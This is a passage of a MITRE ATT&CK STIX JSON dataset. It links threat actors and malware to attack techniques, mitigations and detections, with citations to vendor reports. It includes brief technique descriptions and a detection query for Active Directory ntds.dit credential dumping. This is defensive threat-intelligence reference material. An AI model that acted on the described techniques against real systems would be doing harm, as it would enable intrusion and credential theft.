2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.206Z","description":"Ensure containers are not running as root by default and do not use unnecessary privileges or mounted components. In Kubernetes environments, consider defining Pod Security Standards that prevent pods from running privileged containers.(Citation: Kubernetes Hardening Guide)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--690c6d2a-3e02-4eb9-b835-079c50c64adf","created":"2021-11-29T15:27:11.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.082Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has compromised third party service providers to gain access to victim's environments.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--690d1b72-9fb0-426a-9db4-075abf045688","created":"2023-03-26T19:37:12.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trustwave Pillowmint June 2020","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020.","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:37:58.169Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has stored a compressed payload in the Registry key HKLM\\SOFTWARE\\Microsoft\\DRM.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69127424-40bb-4b92-8558-6fe1561e0a59","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.867Z","description":"[Brave Prince](https://attack.mitre.org/software/S0252) gathers file and directory information from the victim’s machine.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69195872-b722-4b65-b8fd-27bab7bf4d32","type":"relationship","created":"2019-06-07T15:16:57.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.740Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) enumerates the IP address, network proxy settings, and domain name from a victim's system.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--691d0d23-9d20-470f-8483-73c7e10027a3","created":"2022-04-06T19:02:14.896Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used dynamic DNS providers to create legitimate-looking subdomains for C2.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:11:01.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69205d34-6967-40df-baed-45b5d23d8e27","type":"relationship","created":"2019-01-29T21:37:00.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","source_name":"Unit42 SilverTerrier 2018"}],"modified":"2019-04-12T16:33:51.199Z","description":"(Citation: Unit42 SilverTerrier 2018)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6924c49b-0f86-4712-9600-f91b21fa5691","created":"2023-08-07T16:07:34.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.654Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has utilized `rundll32.exe` to deploy ransomware commands with the use of WebDAV.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--69262212-bb89-43fc-8a80-ba492766e372","created":"2022-07-25T18:25:03.015Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can enumerate drives on a compromised host.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:25:03.015Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6928abb5-b9b1-48d5-b3c5-8c7a94da5076","type":"relationship","created":"2020-03-27T12:10:23.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-31T13:39:03.536Z","description":"Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--692e5a04-1f20-4597-8f64-15749c9b90e9","created":"2023-09-06T15:02:13.543Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:02:13.543Z","description":"(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6930c084-c02c-4278-8343-6a47fed4fdc0","type":"relationship","created":"2020-06-10T21:56:40.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:40.105Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s CredRaptor tool can collect saved passwords from various internet browsers.(Citation: ESET Telebots Dec 2016)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6932915f-7164-4cef-87bd-51063c1819e7","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:55:53.971Z","description":"Monitor for access or copy of the NTDS.dit.\n\nNote: Events 4656 and 4663 (Microsoft Windows Security Auditing) provide context of processes and users requesting access or accessing file objects (ObjectType = File) such as C:\\Windows\\NTDS\\ntds.dit. It is important to note that, in order to generate these events, a System Access Control List (SACL) must be defined for the ntds.dit file. Access rights that allow read operations on file objects and its attributes are %%4416 Read file data, %%4419 Read extended file attributes, %%4423 Read file attributes. If you search for just the name of the file and not the entire directory, you may get access events related to the ntds.dit file within a snapshot or volume shadow copy. \n\nEvents 4656 and 4663 (Microsoft Windows Security Auditing) provide context of processes and users creating or copying file objects (ObjectType = File) such as C:\\Windows\\NTDS\\ntds.dit. It is important to note that, in order to generate these events, a System Access Control List (SACL) must be defined for the ntds.dit file. In order to filter file creation events, filter access rigths %%4417 Write data to the file and %%4424 Write file attributes.\n\nEvent 11 (Microsoft Windows Sysmon) provide context of processes and users creating or copying files. Unfortunately, this event provides context of the file being created or copied, but not the file being copied. A good starting point would be to look for new files created or copied with extension .dit.\n\nAnalytic 1 - Active Directory Dumping via NTDSUtil\n\n(sourcetype=WinEventLog:Security EventCode IN (4656, 4663)) OR (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"11\") AND\nObjectType=\"File\" AND TargetFilename=\"*ntds.dit\" AND (AccessList=\"%%4416\" OR AccessList=\"%%4419\" OR AccessList=\"%%4417\" OR AccessList=\"%%4424\")","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--693372c1-418e-45c3-9b0e-0c21d705d1d2","type":"relationship","created":"2019-01-29T21:47:53.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Micropsia June 2017","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."}],"modified":"2019-04-17T22:05:05.847Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) collects the username from the victim’s machine.(Citation: Talos Micropsia June 2017)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6934c7b5-96ce-4265-aea3-7eae018d7f3c","created":"2023-03-26T19:56:56.556Z","revoked":false,"external_references":[{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:56:56.556Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) obtained PKI keys, certificate files, and the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69356661-76fb-46fe-94ce-d029ee7f8a64","type":"relationship","created":"2021-01-11T18:40:01.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Sunburst Teardrop December 2020","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."}],"modified":"2021-01-14T17:08:57.210Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) modified the Registry to create a Windows service for itself on a compromised host.(Citation: Check Point Sunburst Teardrop December 2020)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69398203-a920-4617-810f-dc5be63c968c","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--693a2834-33ee-4d28-a370-ce331d339a93","created":"2024-04-12T10:35:54.947Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:35:54.947Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) enables multiple types of network denial of service capabilities across several protocols post-installation.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69422dae-3bc2-41a9-bfc8-6ef431f807c6","created":"2022-10-13T16:48:41.966Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:48:41.966Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used PowerShell to execute commands.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--694d94db-3297-4be1-ab01-7b574ee5f4e5","created":"2021-08-26T13:58:41.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.853Z","description":"(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69513daf-2acd-4b04-a7be-9f31174a2ae9","type":"relationship","created":"2020-06-16T17:53:18.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T18:27:32.047Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware can insert malicious macros into documents using a Microsoft.Office.Interop object.(Citation: ESET Gamaredon June 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--695a988e-daa3-47d7-bf8d-3539ab992f80","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--695b5096-83b2-45de-8d8d-05ce75d47f0d","created":"2022-04-14T15:44:52.363Z","x_mitre_version":"0.1","external_references":[{"source_name":"Elastic Process Injection July 2017","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze application programming interface (API) calls that are indicative of Registry edits, such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)","modified":"2022-04-14T15:44:52.363Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.411Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from Internet Explorer, Mozilla Firefox, and Eudora.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--695e51bb-e410-40b1-b8fc-d40734796729","type":"relationship","created":"2021-06-22T13:12:35.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:12:35.402Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can enumerate the host name and OS version on a target system.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69682171-e717-4af7-a24a-06a39f381641","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2021-03-17T16:21:46.871Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [NBTscan](https://attack.mitre.org/software/S0590) to discover vulnerable systems.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--69684ccb-b9c0-4284-b2e5-09f15a691f80","created":"2022-08-26T22:10:51.104Z","x_mitre_version":"0.1","external_references":[{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been distributed via malicious Microsoft Office documents within spam emails.(Citation: Netskope 